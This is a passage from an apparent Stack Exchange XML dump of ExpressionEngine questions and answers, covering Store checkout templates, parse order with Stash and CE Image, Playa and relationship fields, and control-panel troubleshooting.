class=&quot;required&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {if error:payment_csc}&amp;lt;label class=&quot;error&quot;&amp;gt;Provide a valid code.&amp;lt;/label&amp;gt;{/if}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;!-- Cart Contents --&amp;gt;&#xA;&amp;lt;div class=&quot;checkThree&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;cartReview&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Cart Contents&amp;lt;/h3&amp;gt;&#xA;    {items}&#xA;    &amp;lt;hr class=&quot;ten&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;{title}&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;small&amp;gt;&amp;lt;b&amp;gt;SKU:&amp;lt;/b&amp;gt; {sku}&amp;lt;br /&amp;gt;{modifiers}&amp;lt;b&amp;gt;{modifier_name}&amp;lt;/b&amp;gt;: {modifier_value} {if price_mod_val}({price_mod}){/if}&amp;lt;br /&amp;gt;{/modifiers}{item_qty} @ {price} = {item_subtotal}&amp;lt;/small&amp;gt;&amp;lt;/p&amp;gt;&#xA;    {/items}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;h4&amp;gt;Subtotal: {order_subtotal}&amp;lt;/h4&amp;gt;&#xA;&amp;lt;h4&amp;gt;Order Tax: {order_subtotal_tax}&amp;lt;/h4&amp;gt;&#xA;&amp;lt;h4&amp;gt;USPS Shipping: {order_shipping}&amp;lt;/h4&amp;gt;&#xA;{if promo_code}&amp;lt;h4&amp;gt;Discount: -{order_discount}&amp;lt;/h4&amp;gt;{/if}&#xA;&amp;lt;h3&amp;gt;Grand Total: {order_total}&amp;lt;/h3&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;clearing&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&#xA;&amp;lt;hr class=&quot;ten&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;form-actions&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; id=&quot;checkout_submit&quot; value=&quot;Complete Order&quot; class=&quot;btn btn-primary&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&#xA;{/exp:store:checkout}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="97" LastActivityDate="2013-11-01T21:54:07.063" Title="USPS zip code error for International orders - using STORE" Tags="|expresso-store|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11419" PostTypeId="2" ParentId="11385" CreationDate="2013-06-21T14:30:24.273" Score="1" Body="&lt;p&gt;This was resolved: turns out USPS made changes to their API which caused live rates to fail and throw the error.&lt;/p&gt;&#xA;" OwnerUserId="1440" LastActivityDate="2013-06-21T14:30:24.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11420" PostTypeId="1" CreationDate="2013-06-21T14:47:49.177" Score="2" ViewCount="592" Body="&lt;p&gt;&lt;em&gt;Echoing post from &lt;a href=&quot;http://ellislab.com/forums/viewthread/236223/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/236223/&lt;/a&gt; as suspected error in user documentation.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the documentation for the new relationships functionality it says filtering by category is supported (3rd paragraph of introduction): &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html#accessing-parents&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html#accessing-parents&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However this is not listed as one of the supporting parameters under &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html#id9&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html#id9&lt;/a&gt; and does not seem to work when I try something along the lines of the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{parents field=&quot;minutes_partner&quot; category=&quot;20&quot;}&#xA;{parents:title}&#xA;{/parents} &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know if category filtering supported in relationships and if so how can I achieve this without writing some crazy custom query or coding a plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cole&lt;/p&gt;&#xA;" OwnerUserId="333" LastActivityDate="2014-02-25T16:17:31.357" Title="Relationship filtering by category" Tags="|categories|relationships|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11421" PostTypeId="2" ParentId="11362" CreationDate="2013-06-21T15:11:23.440" Score="1" Body="&lt;p&gt;Just figured I would update this thread for others since I commented. This turns out to be a misunderstanding on my part thinking he was using Postmater since the question has a Postmaster table in the subject and throughout the post. Turns out, reading more carefully reveals he is &lt;em&gt;not&lt;/em&gt; using Postmaster and just the native email module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Postmaster would be a perfect candidate as an alternative solution to solving this problem, but it's doesn't exactly solve &lt;em&gt;this&lt;/em&gt; problem in the direct sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And to clarify further, the exp_postmaster_mailbox table is a component of the Postmaster add-on by Objective HTML. So this table would not be found in a default EE install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://objectivehtml.com/postmaster&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/postmaster&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-06-21T15:11:23.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11422" PostTypeId="1" CreationDate="2013-06-21T15:36:21.373" Score="1" ViewCount="70" Body="&lt;p&gt;Is it possible to place an embedded template within a snippet?  Reason is I have a client that wants to be able to use the Allow More EE Code plugin &lt;a href=&quot;http://devot-ee.com/add-ons/allow-more-ee-code&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/allow-more-ee-code&lt;/a&gt; to insert certain items into the WYGWAM editor in normal (non-source). Since this plugin does not parse snippet dynamic data, I tried just placing the code [code]{embed=&quot;includes/.calendar&quot;}[/code] into the snippet and to my surprise the dynamic data was parsed!  Is it OK to setup a few snippets in this manner to allow the client to insert them were needed or is there a big drawback?&lt;/p&gt;&#xA;" OwnerUserId="1077" LastActivityDate="2013-06-21T15:55:25.187" Title="Is it possible to place an embedded template within a snippet?" Tags="|ee2|templates|snippets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11423" PostTypeId="2" ParentId="11422" CreationDate="2013-06-21T15:55:25.187" Score="1" Body="&lt;p&gt;As long as you don't notice any performance hits, its perfectly acceptable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another solution you might try is to use Low Variables instead of embeds. This is possible as of version 2.3 thanks to this parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;preparse:my_var=&quot;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Read more about this method &lt;a href=&quot;http://leereamsnyder.com/blog/low-variables-230-totally-killed-the-embed-tag&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1684" LastActivityDate="2013-06-21T15:55:25.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11425" PostTypeId="2" ParentId="11415" CreationDate="2013-06-21T17:50:08.637" Score="1" Body="&lt;p&gt;Make sure you have Relationships fieldtype installed. Go to Add-Ons &gt; Fieldtypes, check if  Relationships shows as Installed. (moved to answer from comments)&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-06-21T17:50:08.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11426" PostTypeId="1" AcceptedAnswerId="11427" CreationDate="2013-06-21T19:42:41.473" Score="2" ViewCount="285" Body="&lt;p&gt;Alright, let's see if I can explain this correctly:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I am using Assets to store images to S3&lt;/li&gt;&#xA;&lt;li&gt;CE Image is being used to manipulate the images and save/serve them from S3&lt;/li&gt;&#xA;&lt;li&gt;I use stash to try and stay DRY and keep things easier to maintain&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So far everything is working great on the site, we're ready to launch, and all humming along... Until I tried to use the SocialEEsta plugin to help spit out share icons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my model:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- SINGLE VARIBLES --}&#xA;{exp:stash:set&#xA;  parse_tags=&quot;no&quot;&#xA;  trim=&quot;yes&quot;&#xA;}&#xA;  {stash:share_image_url}&#xA;    {exp:ce_img:pair&#xA;      src=&quot;{cf_featured_image:url}&quot;&#xA;      width=&quot;800&quot;&#xA;      height=&quot;450&quot;&#xA;      crop=&quot;yes&quot;&#xA;      allow_scale_larger=&quot;yes&quot;&#xA;      hide_relative_path=&quot;yes&quot;&#xA;      cache_dir=&quot;cache/img/products/shared/&quot;&#xA;    }&#xA;      {aws_url}&#xA;    {/exp:ce_img:pair}&#xA;  {/stash:share_image_url}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my viewModel that gets all of my vars:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set&#xA;  name=&quot;hero&quot;&#xA;  output=&quot;no&quot;&#xA;  parse_conditionals=&quot;no&quot;&#xA;  parse_tags=&quot;no&quot;&#xA;  parse_vars=&quot;yes&quot;&#xA;}&#xA;  {stash:embed:partials:hero_banner}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is in my partial:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:socialeesta:pinit url=&quot;{current_url}&quot; media=&quot;{stash:share_image_url}&quot; count=&quot;none&quot; description=&quot;{stash:page_body}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this even possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried:&#xA; - parse_tags=&quot;no/yes&quot;&#xA; - parse_vars=&quot;yes&quot;&#xA; - process=&quot;start/end&quot;&#xA; - adding parse=&quot;inward&quot; to the plugin tag&#xA; - adding random to the plugin tag&lt;/p&gt;&#xA;" OwnerUserId="219" LastEditorUserId="219" LastEditDate="2013-06-21T20:11:51.463" LastActivityDate="2013-06-21T20:11:51.463" Title="Parse order fun! Getting a stashed Assets image resized using CE Image inside a plugin parameter" Tags="|assets|parse-order|ce-image|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11427" PostTypeId="2" ParentId="11426" CreationDate="2013-06-21T19:42:41.473" Score="3" Body="&lt;p&gt;Welp, after even more testing an hair pulling I sorted it out. I forgot to set parse_tags=&quot;yes&quot; on the exp:stash:set... d'oh!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Model&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- SINGLE VARIBLES --}&#xA;{exp:stash:set&#xA;  parse_tags=&quot;yes&quot;&#xA;  trim=&quot;yes&quot;&#xA;}&#xA;  {stash:share_image_url}&#xA;    {exp:ce_img:pair&#xA;      src=&quot;{cf_featured_image:url}&quot;&#xA;      width=&quot;800&quot;&#xA;      height=&quot;450&quot;&#xA;      crop=&quot;yes&quot;&#xA;      allow_scale_larger=&quot;yes&quot;&#xA;      hide_relative_path=&quot;yes&quot;&#xA;      cache_dir=&quot;cache/img/products/shared/&quot;&#xA;    }&#xA;      {aws_url}&#xA;    {/exp:ce_img:pair}&#xA;  {/stash:share_image_url}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my viewModel that gets all of my vars:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set&#xA;  name=&quot;hero&quot;&#xA;  output=&quot;no&quot;&#xA;  parse_conditionals=&quot;no&quot;&#xA;  parse_tags=&quot;no&quot;&#xA;  parse_vars=&quot;no&quot;&#xA;}&#xA;  {stash:embed:partials:hero_banner}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is in my partial:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:socialeesta:pinit url=&quot;{current_url}&quot; media=&quot;http:{stash:share_image_url}&quot; count=&quot;none&quot; description=&quot;{stash:page_body}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="219" LastActivityDate="2013-06-21T19:42:41.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11428" PostTypeId="1" CreationDate="2013-06-21T20:45:17.577" Score="2" ViewCount="190" Body="&lt;p&gt;I know I can assign 2 databases through codeigniter. Is there a way to tell the query tags which database to pull the information from? I'm having to pull data from an external database.&lt;/p&gt;&#xA;" OwnerUserId="273" LastActivityDate="2013-06-26T00:45:26.247" Title="Query tags and setting up expressionengine to read from 2 databases" Tags="|query|codeigniter|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11429" PostTypeId="2" ParentId="11428" CreationDate="2013-06-21T21:31:54.140" Score="1" Body="&lt;p&gt;The only way I was able to do this was with PHP in the template and using a &lt;code&gt;mysql_select_db&lt;/code&gt; to switch the database.  If you didn't want to use PHP in the template itself then I would think that would be fairly straightforward to code up as a plug in.&lt;/p&gt;&#xA;" OwnerUserId="900" LastActivityDate="2013-06-21T21:31:54.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11430" PostTypeId="1" CreationDate="2013-06-21T22:51:10.543" Score="0" ViewCount="147" Body="&lt;p&gt;Trying to put the Playa children results into a parameter of a plugin to pass as metadata.  First tried this, but it passed the tag itself.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;    {matrix_field}&#xA;    {asset_field var_prefix=&quot;abc&quot;}&#xA;        {exp:myplugin:plugin artist=&quot;{exp:playa:children backspace='2'}{title}, {/exp:playa:children}&quot;}&#xA;        &amp;lt;audio src=&quot;{url}&quot;&amp;gt;&#xA;        {/exp:myplugin:plugin}&#xA;    {/asset_field}&#xA;    {/matrix_field}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So tried the parse=&quot;inward&quot; technique, but for each result/relationship it repeated the {url}:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;    {matrix_field}&#xA;    {asset_field var_prefix=&quot;abc&quot;}&#xA;    {exp:playa:children backspace=&quot;2&quot; parse=&quot;inward&quot;}&#xA;            {exp:myplugin:plugin artist=&quot;{title}&quot;}&#xA;            &amp;lt;audio src=&quot;{url}&quot;&amp;gt;&#xA;            {/exp:myplugin:plugin}&#xA;    {/exp:playa:children}&#xA;    {/asset_field}&#xA;    {/matrix_field}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(added based on comment)  This returns blank for that parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;    {matrix_field}&#xA;    {asset_field var_prefix=&quot;abc&quot;}&#xA;        {exp:myplugin:plugin parse=&quot;inward&quot; artist=&quot;{exp:playa:children backspace='2'}{title}, {/exp:playa:children}&quot;}&#xA;        &amp;lt;audio src=&quot;{url}&quot;&amp;gt;&#xA;        {/exp:myplugin:plugin}&#xA;    {/asset_field}&#xA;    {/matrix_field}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So how can the Playa tag be parsed before the plugin runs?  Stash or Low Variables approach?  I've never really used them so an example would be super helpful!&lt;/p&gt;&#xA;" OwnerUserId="843" LastEditorUserId="843" LastEditDate="2014-06-24T22:01:37.323" LastActivityDate="2014-06-24T22:01:37.323" Title="Parsing Playa as a Plugin Parameter" Tags="|parse-order|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11431" PostTypeId="1" CreationDate="2013-06-22T06:29:42.020" Score="1" ViewCount="75" Body="&lt;p&gt;Currently my store has two shipping carriers (UPS and the Default Shipping Plugin - called Speed-ee). For the default shipping plugin I only want to use it for four or five US states. For all others states, as well as Canada, I want to use UPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to show the default shipping plugin option only when the billing address is from those four or five states and hide it if they are shipping to other areas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would think a conditional might work but I don't really know where to start. Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="842" LastActivityDate="2013-06-25T01:32:05.693" Title="Hide Shipping Carrier Depending on Location" Tags="|expresso-store|shipping|checkout|ups-shipping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11432" PostTypeId="1" CreationDate="2013-06-22T11:30:19.783" Score="3" ViewCount="512" Body="&lt;p&gt;I need to add multiple authors on post, but I don't know how to do implement this. I'm a new to ExpressionEngine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My articles have also a multiple bibliography, and I have the same problem, which is how in general to manage a master-detail relationships in ExpressionEngine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the new 2.6 relationship, is easy to display related category, but I cannot find a way to   insert them.&lt;/p&gt;&#xA;" OwnerUserId="1690" LastEditorUserId="104" LastEditDate="2013-07-04T09:54:44.410" LastActivityDate="2013-07-04T09:54:44.410" Title="Assigning multiple authors to a channel entry" Tags="|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11433" PostTypeId="1" CreationDate="2013-06-22T14:26:08.987" Score="1" ViewCount="47" Body="&lt;p&gt;I just upgraded EE from 2.1 to 2.6.1, then upgraded Playa from 3.0.9 to 4.4.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realized I had to rewrite the syntax in the templates. That wasn't fun. But the real issue I am having is the missing data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or I assume the data is there in the old location (exp_realtionships or exp_channel_data perhaps) just the new Playa is looking for it elsewhere (exp_playa_relationships ??).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Playa seems to be working I added new relationships and they showd up both in the CMS and on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone give me a clue on how I can restore the Playa relationships with this new setup?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reentering the data manually would take a a few days for 2 or 3 people! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Luke &lt;/p&gt;&#xA;" OwnerUserId="1692" LastActivityDate="2013-06-22T14:26:08.987" Title="Playa upgrade from 3.0.9 to 4.4.3 missing relationship data" Tags="|playa|database|upgrade|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11434" PostTypeId="2" ParentId="11395" CreationDate="2013-06-22T15:13:10.703" Score="1" Body="&lt;p&gt;Brad, you're referencing Structure:Entries (&lt;a href=&quot;http://buildwithstructure.com/tags#tag_entries&quot; rel=&quot;nofollow&quot;&gt;http://buildwithstructure.com/tags#tag_entries&lt;/a&gt;) &lt;strong&gt;NOT&lt;/strong&gt; structure_entries (&lt;a href=&quot;http://devot-ee.com/add-ons/structure-entries&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/structure-entries&lt;/a&gt;) which some of the answers and comments are referring to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming it is the Structure native tag, then the documentation only states it supports the same &lt;strong&gt;variables as a channel tag&lt;/strong&gt; - not that it supports the structure:nav parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your reference to the existing code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:entries channel=&quot;portfolio&quot; parent_id=&quot;{structure:page:entry_id}&quot; disable=&quot;categories|category_fields|member_fields|pagination&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would mean that structure:entries tag would ignore &lt;code&gt;channel&lt;/code&gt; and &lt;code&gt;disable&lt;/code&gt; and they do nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the parameter isn't supported, possibly email Structure support to request they include in a future version?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution... (warning hack alert)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;hidden&quot; (hidden from nav) is a column in the structure table (with a row for each page). The structure:entries tag takes the parameter parent_id and calls a function called get_child_entries passing the parent ID. This function does the SQL query and has it hard coded in to ignore any entry set to hidden.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2 solutions (the quick way):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;modify lines 1115 - 1120 of sql.structure.php (v3.3.10)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;db-&amp;gt;select('entry_id')-&amp;gt;from('structure')-&amp;gt;where(array(&#xA;    'parent_id' =&amp;gt; $parent_id,&#xA;    'entry_id !=' =&amp;gt; 0,&#xA;    'hidden !=' =&amp;gt; 'y',&#xA;    'site_id' =&amp;gt; $this-&amp;gt;site_id&#xA;))-&amp;gt;order_by('lft', 'asc');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;db-&amp;gt;select('entry_id')-&amp;gt;from('structure')-&amp;gt;where(array(&#xA;    'parent_id' =&amp;gt; $parent_id,&#xA;    'entry_id !=' =&amp;gt; 0,&#xA;    'site_id' =&amp;gt; $this-&amp;gt;site_id&#xA;))-&amp;gt;order_by('lft', 'asc');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Removing the hidden reference in the WHERE clause. Downside this will change ALL calls to &lt;code&gt;{exp:structure:entries}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alternative solution:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the parameter for override_hidden_state in the entries function (starts from line 111 in mod.structure.php) and pass it to get_child_entries as a second parameter. In get_child_entries (from line 1110 in sql.struture.php) add the extra parameter (giving it a default value of &quot;n&quot; to ensure all existing calls continue to work) an modify the SQL call to reflect the choice of showing hidden or not. I've not gone into the exact code examples as I expect the 1st solution would be suitable for most people and you've already solved the issue via custom SQL.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2013-06-23T11:19:05.333" LastActivityDate="2013-06-23T11:19:05.333" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11435" PostTypeId="1" AcceptedAnswerId="15087" CreationDate="2013-06-22T19:42:49.447" Score="2" ViewCount="268" Body="&lt;p&gt;I have been having this issue with multiple EE installs since about 2.5.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everytime I try to go to Accessories in the CP, I get a white screen with no errors. I tried turning debugging on in my index.php but get no errors output. Any ideas? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have nothing except safecracker on my site right now, I uninstalled and deleted everything else that wasn't default (add-ons/extensions/etc) to see if that would help also. My cache folder &amp;amp; contents are set to 777 permissions, my accessories folder is 755 (haven't changed that). I have no idea why I can't access the page.&lt;/p&gt;&#xA;" OwnerUserId="1693" LastActivityDate="2013-10-29T03:03:19.667" Title="White screen of death when accessing Accessories in CP" Tags="|add-on|control-panel|white-screen-of-death|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11436" PostTypeId="2" ParentId="11432" CreationDate="2013-06-22T20:19:27.893" Score="2" Body="&lt;p&gt;It kind of depends on how you're handling authorship. There's only so much you can do with the custom fields in the member module, and assigning multiple authors that way is less than ideal, but you could pretty easily create an &quot;authors&quot; channel - whether you tie that to your member logins using one of the &quot;members as channels&quot; add-ons is up to you - and that would allow you to use the native relationship field in 2.6 to assign multiple authors to a single post.  I've done it that way before with Playa rather than the native relationship field, but the idea is the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-06-22T20:19:27.893" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11438" PostTypeId="2" ParentId="11435" CreationDate="2013-06-23T11:18:09.227" Score="3" Body="&lt;p&gt;Have you tried disabling all extensions via the config file? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;/system/expressionengine/config/config.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['allow_extensions'] = 'n';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will temporarily stop the extensions from loading but it doesn't remove them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look in the database at the table &lt;code&gt;exp_accessories&lt;/code&gt; what is listed in there? Try deleting any rows in there except the default EE Info, reload and try again. (If you do have any extensions that you wish to keep just make a note of them and install them again afterwards). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reload and try again. Still a white screen of death?&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-06-23T11:18:09.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11439" PostTypeId="1" AcceptedAnswerId="11444" CreationDate="2013-06-23T18:52:33.123" Score="0" ViewCount="288" Body="&lt;p&gt;We're revamping a site that has a url structure of &lt;a href=&quot;http://mysite.com/partner_name&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/partner_name&lt;/a&gt;.&#xA;When that first segment matches a partner name, their current custom site changes all urls and logo. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In our case on EE we're using freebie and switchee. We add each partner name (they're not too many) as freebie segments, and add them to a comparison case with switchee. That works great for the first page, but all links are still mysite.com/my_url, when ideally they'd be mysite.com/partner_name/my_url. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way we can do the comparison with switchee, and save mysite.com/freebie_1 as {site_url} when there's a match? Do we need php on the template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Santiago&lt;/p&gt;&#xA;" OwnerUserId="1427" LastActivityDate="2013-06-24T01:46:45.673" Title="Changing site_url on the fly" Tags="|switchee|freebie|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11441" PostTypeId="2" ParentId="10833" CreationDate="2013-06-23T21:08:56.783" Score="1" Body="&lt;p&gt;I have had the EXACT same issue for two weeks.  I was able to resolve it by simply overwriting the themes/javascript folder from a previous file backup to the live side via FTP.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know exactly what changed when moving from dev to live originally, but thru process of elimination, I narrowed it down to this folder.&lt;/p&gt;&#xA;" OwnerUserId="1667" LastActivityDate="2013-06-23T21:08:56.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11442" PostTypeId="2" ParentId="11293" CreationDate="2013-06-23T22:40:20.170" Score="1" Body="&lt;p&gt;You need to upgrade to Store 1.6.4 which is compatible with EE 2.6.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-06-23T22:40:20.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11443" PostTypeId="2" ParentId="11412" CreationDate="2013-06-23T22:50:58.193" Score="1" Body="&lt;p&gt;It's not possible to specify multiple postcodes per shipping rule, although I do like your pipe-separated syntax so will make that a feature request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you mentioned, it is going to be a nightmare for your client to maintain, so I would first explain this to them and convince them to simplify their shipping rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other alternative would be to write a custom shipping plugin in PHP, which would allow you to use any combination of rules you like, but that will probably be even harder for them to maintain/update so may not be the best solution.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-06-23T22:50:58.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
